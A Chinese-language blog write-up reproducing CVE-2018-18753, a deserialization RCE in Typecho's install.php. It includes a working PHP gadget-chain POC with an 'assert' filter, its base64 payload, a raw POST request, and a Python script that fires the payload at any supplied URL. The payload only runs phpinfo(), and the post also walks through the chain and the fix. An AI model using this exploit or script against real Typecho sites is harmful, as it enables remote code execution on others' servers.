CVE-2018-18753反序列化漏洞 本地测试环境
复现 POC(执行phpinfo()
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class Typecho_Feed { const RSS1 = 'RSS 1.0' ; const RSS2 = 'RSS 2.0' ; const ATOM1 = 'ATOM 1.0' ; const DATE_RFC822 = 'r' ; const DATE_W3CDTF = 'c' ; const EOL = "\n" ; private $_type ; private $_items ; public function __construct ( ) { $this ->_type = $this ::RSS2 ; $this ->_items[0 ] = array ( 'title' => '1' , 'link' => '1' , 'date' => 1508895132 , 'category' => array (new Typecho_Request ()), 'author' => new Typecho_Request (), ); } } class Typecho_Request { private $_params = array (); private $_filter = array (); public function __construct ( ) { $this ->_params['screenName' ] = 'phpinfo()' ; $this ->_filter[0 ] = 'assert' ; } } $exp = array ( 'adapter' => new Typecho_Feed (), 'prefix' => 'typecho_' ); echo base64_encode (serialize ($exp ));?>
1 2 3 4 POST /install.php?finish HTTP/1.1 Host: 127.0.0.1:23331 __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
分析 全局搜索unserilize()
就可以发现一个非常可疑且标准的注入点
Typecho_Cookie::get('__typecho_config')
直接获取我们发过去的Cookie
中的__typecho_config
参数,实际上它也可以读取POST的东西
230行,定位后发现触发点在安装程序中
59行发现要进安装程序只要使得参数finish
存在即可
接着寻找可以利用的危险函数并且构造链子,在Request.php
的164行发现个危险函数,且很难得的两个参数都是变量,与Request.php
对应的类名为Typecho_Request
1 2 3 4 5 6 7 8 9 10 11 12 13 private function _applyFilter ($value ) { if ($this ->_filter) { foreach ($this ->_filter as $filter ) { $value = is_array ($value ) ? array_map ($filter , $value ) : call_user_func ($filter , $value ); } $this ->_filter = array (); } return $value ; }
如果有链子能通到这个函数的话_filter
的值可以直接篡改,重要的是如何控制value
继续看谁调用了_applyFliter()
在Request.php
308行,的get
()方法中发现有调用_applyFliter()
,且传入的value
可以通过篡改_params[]
的值来控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function get ($key , $default = NULL ) { switch (true ) { case isset ($this ->_params[$key ]): $value = $this ->_params[$key ]; break ; case isset (self ::$_httpParams [$key ]): $value = self ::$_httpParams [$key ]; break ; default : $value = $default ; break ; } $value = !is_array ($value ) && strlen ($value ) > 0 ? $value : $default ; return $this ->_applyFilter ($value ); }
对着get()方法写关于Typecho_Request部分的POC
class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params[‘screenName’] = ‘phpinfo()’; //sreenName在下文会提到 $this->_filter[0] = ‘assert’; } }
接着继续看谁调用了get()
方法,发现是Request.php
中269行的魔术方法__get()
调用了get()
所以到这里我们要想如何找到一个点,可以实例化Typecho_request
,并且访问一个它本身不存在的属性
install.php
是包含了common.php
的,这个common.php
提供了自动加载类的服务,大大拓宽了我们的攻击面
我们可以在Feed.php
的__toString()
方法中可以看到这里item['author']
访问了一个叫screenName
的属性(290行),检查Typecho_request
的类刚好不存在这个属性且item可控,满足条件
特别要注意这里的item
是个数组,并且还要传入一些必要参数
据此构造部分POC
class Typecho_Feed { const RSS1 = ‘RSS 1.0’; const RSS2 = ‘RSS 2.0’; const ATOM1 = ‘ATOM 1.0’; const DATE_RFC822 = ‘r’; const DATE_W3CDTF = ‘c’; const EOL = “\n”; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( ‘title’ => ‘1’, ‘link’ => ‘1’, ‘date’ => 1508895132, ‘category’ => array(new Typecho_Request()), ‘author’ => new Typecho_Request(), ); }
}
$exp = array( ‘adapter’ => new Typecho_Feed(), ‘prefix’ => ‘typecho_’ );
最后就是想如何触发这个__toString()
了,在最开始的触发点下面几行,就有我们要找的__toString()
触发点
install.php
的232行,将我们使用反序列化实例化后的对象传入Typecho_Db()
中进行变量拼接
跟进发现变量拼接,变量拼接进而触发__toString()
自此完成闭环!传入POC即可RCE
修复 最新版似乎把install.php
的代码重构了一遍,连unserialize()
函数都找不到了
验证脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport argparsedef ParseArgs (): parser = argparse.ArgumentParser(description="CVE-2018-18753" ) parser.add_argument("-u" , "--url" , type =str , help ="target url to check" , required=True ) return parser.parse_args() if __name__ == '__main__' : args = ParseArgs() url = args.url headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8' , 'Accept-Language' : 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' , 'Accept-Encoding' : 'gzip, deflate, br, zstd' , 'Content-Type' : 'application/x-www-form-urlencoded' , 'Content-Length' : '775' , 'Origin' : 'http://127.0.0.1:23331' , 'Connection' : 'keep-alive' , 'Referer' : 'http://127.0.0.1:23331/install.php?finish' , 'Cookie' : 'PHPSESSID=nmed1gc26genkh1qd7j6kdvdv6; __typecho_lang=zh_CN' , 'Upgrade-Insecure-Requests' : '1' , 'Sec-Fetch-Dest' : 'document' , 'Sec-Fetch-Mode' : 'navigate' , 'Sec-Fetch-Site' : 'none' , 'Sec-Fetch-User' : '?1' , 'Priority' : 'u=0, i' , 'Pragma' : 'no-cache' , 'Cache-Control' : 'no-cache' } params = {'finish' : '1' } data = {'__typecho_config' : 'YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=' } res = requests.post(url=url,headers=headers,data=data,params=params) if ('PHP Version' in res.text): print ("存在漏洞" ) else : print ('不存在漏洞' )
懒得写批量验证了,这洞现在还有我吃
经验 在复现的同时我一直在思考第一个挖掘人是如何发现这个漏洞的,如果仅仅是看分析,可能你会觉得这个人是不是开透了,这点一个找得比一个准,实际上慢慢自己利用审计工具,phpstorm工具去调试,才发现这其中逻辑的环环紧扣,有正推和逆推的相结合,从一个unserialize()
一步步到RCE的过程简直就是艺术
当然也不排除第一个发现这个漏洞的人真的开透了的可能